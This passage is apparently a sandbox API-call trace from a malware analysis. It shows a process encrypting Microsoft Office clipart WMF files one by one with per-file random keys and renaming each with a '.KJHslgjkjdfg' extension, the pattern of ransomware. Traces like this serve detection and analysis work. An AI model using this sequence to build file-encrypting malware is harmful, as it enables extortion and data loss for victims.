lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x385c, lpOverlapped=0x0) returned 1 [0192.175] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x3860, dwBufLen=0x3860 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x3860) returned 1 [0192.176] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.176] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x3860, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x3860, lpOverlapped=0x0) returned 1 [0192.176] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0192.176] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x3934, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.176] SetEndOfFile (hFile=0x130) returned 1 [0192.179] GetProcessHeap () returned 0x2ef0000 [0192.179] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0192.179] GetProcessHeap () returned 0x2ef0000 [0192.179] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0192.179] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00932_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00932_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00932_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00932_.wmf.kjhslgjkjdfg")) returned 1 [0192.183] CloseHandle (hObject=0x130) returned 1 [0192.183] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc14efd00, ftCreationTime.dwHighDateTime=0x1bd4b2e, ftLastAccessTime.dwLowDateTime=0x5133d8d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc14efd00, ftLastWriteTime.dwHighDateTime=0x1bd4b2e, nFileSizeHigh=0x0, nFileSizeLow=0x1ba0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AN00965_.WMF", cAlternateFileName="")) returned 1 [0192.183] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00965_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00965_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0192.183] GetProcessHeap () returned 0x2ef0000 [0192.183] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0192.184] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0192.184] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0192.184] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0192.184] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0192.184] GetProcessHeap () returned 0x2ef0000 [0192.184] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0192.184] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0192.184] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0192.184] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0192.187] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0192.187] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0192.187] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0192.187] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0192.187] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0192.187] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0192.187] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0192.187] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.188] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x1ba0, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x1ba0, lpOverlapped=0x0) returned 1 [0192.188] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1ba0, dwBufLen=0x1ba0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1ba0) returned 1 [0192.189] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.189] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x1ba0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x1ba0, lpOverlapped=0x0) returned 1 [0192.189] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0192.189] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1c74, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.189] SetEndOfFile (hFile=0x130) returned 1 [0192.192] GetProcessHeap () returned 0x2ef0000 [0192.192] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0192.192] GetProcessHeap () returned 0x2ef0000 [0192.192] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0192.192] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00965_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00965_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00965_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00965_.wmf.kjhslgjkjdfg")) returned 1 [0192.207] CloseHandle (hObject=0x130) returned 1 [0192.207] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6d83ea00, ftCreationTime.dwHighDateTime=0x1bd4b15, ftLastAccessTime.dwLowDateTime=0x5133d8d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d83ea00, ftLastWriteTime.dwHighDateTime=0x1bd4b15, nFileSizeHigh=0x0, nFileSizeLow=0xd10, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AN01039_.WMF", cAlternateFileName="")) returned 1 [0192.207] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01039_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01039_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0192.208] GetProcessHeap () returned 0x2ef0000 [0192.208] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0192.208] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0192.208] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0192.208] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0192.208] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0192.208] GetProcessHeap () returned 0x2ef0000 [0192.208] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0192.208] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0192.208] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0192.208] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0192.211] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0192.211] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0192.211] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0192.211] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0192.211] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0192.211] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0192.211] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0192.211] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.211] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0xd10, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0xd10, lpOverlapped=0x0) returned 1 [0192.211] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xd10, dwBufLen=0xd10 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xd10) returned 1 [0192.211] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.211] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0xd10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0xd10, lpOverlapped=0x0) returned 1 [0192.212] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0192.212] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xde4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.212] SetEndOfFile (hFile=0x130) returned 1 [0192.214] GetProcessHeap () returned 0x2ef0000 [0192.214] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0192.214] GetProcessHeap () returned 0x2ef0000 [0192.215] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0192.215] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01039_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01039_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01039_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01039_.wmf.kjhslgjkjdfg")) returned 1 [0192.414] CloseHandle (hObject=0x130) returned 1 [0192.415] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x31e92000, ftCreationTime.dwHighDateTime=0x1bd4b15, ftLastAccessTime.dwLowDateTime=0x5eb8e810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x31e92000, ftLastWriteTime.dwHighDateTime=0x1bd4b15, nFileSizeHigh=0x0, nFileSizeLow=0x63c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AN01044_.WMF", cAlternateFileName="")) returned 1 [0192.415] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01044_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01044_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0192.415] GetProcessHeap () returned 0x2ef0000 [0192.415] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0192.415] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0192.415] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0192.416] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0192.418] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0192.418] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0192.418] GetProcessHeap () returned 0x2ef0000 [0192.418] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0192.418] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0192.419] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0192.419] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0192.419] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0192.419] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0192.419] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0192.419] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0192.419] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0192.419] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0192.419] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0192.419] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.419] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x63c, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x63c, lpOverlapped=0x0) returned 1 [0192.419] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x640, dwBufLen=0x640 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x640) returned 1 [0192.420] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.420] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x640, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x640, lpOverlapped=0x0) returned 1 [0192.420] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0192.420] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x714, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.420] SetEndOfFile (hFile=0x130) returned 1 [0192.423] GetProcessHeap () returned 0x2ef0000 [0192.423] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0192.423] GetProcessHeap () returned 0x2ef0000 [0192.423] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0192.423] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01044_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01044_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01044_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01044_.wmf.kjhslgjkjdfg")) returned 1 [0192.439] CloseHandle (hObject=0x130) returned 1 [0192.439] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa1fda300, ftCreationTime.dwHighDateTime=0x1bd4b21, ftLastAccessTime.dwLowDateTime=0x5eb8e810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa1fda300, ftLastWriteTime.dwHighDateTime=0x1bd4b21, nFileSizeHigh=0x0, nFileSizeLow=0x1f20, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AN01060_.WMF", cAlternateFileName="")) returned 1 [0192.439] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01060_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01060_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0192.441] GetProcessHeap () returned 0x2ef0000 [0192.441] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0192.441] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0192.441] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0192.441] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0192.441] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0192.441] GetProcessHeap () returned 0x2ef0000 [0192.441] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0192.441] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0192.442] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0192.442] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0192.443] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0192.444] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0192.444] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0192.444] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0192.444] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0192.444] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0192.444] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0192.444] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.444] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x1f20, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x1f20, lpOverlapped=0x0) returned 1 [0192.445] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1f20, dwBufLen=0x1f20 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1f20) returned 1 [0192.445] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.445] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x1f20, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x1f20, lpOverlapped=0x0) returned 1 [0192.445] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0192.445] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1ff4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.445] SetEndOfFile (hFile=0x130) returned 1 [0192.448] GetProcessHeap () returned 0x2ef0000 [0192.448] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0192.448] GetProcessHeap () returned 0x2ef0000 [0192.448] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0192.448] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01060_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01060_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01060_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01060_.wmf.kjhslgjkjdfg")) returned 1 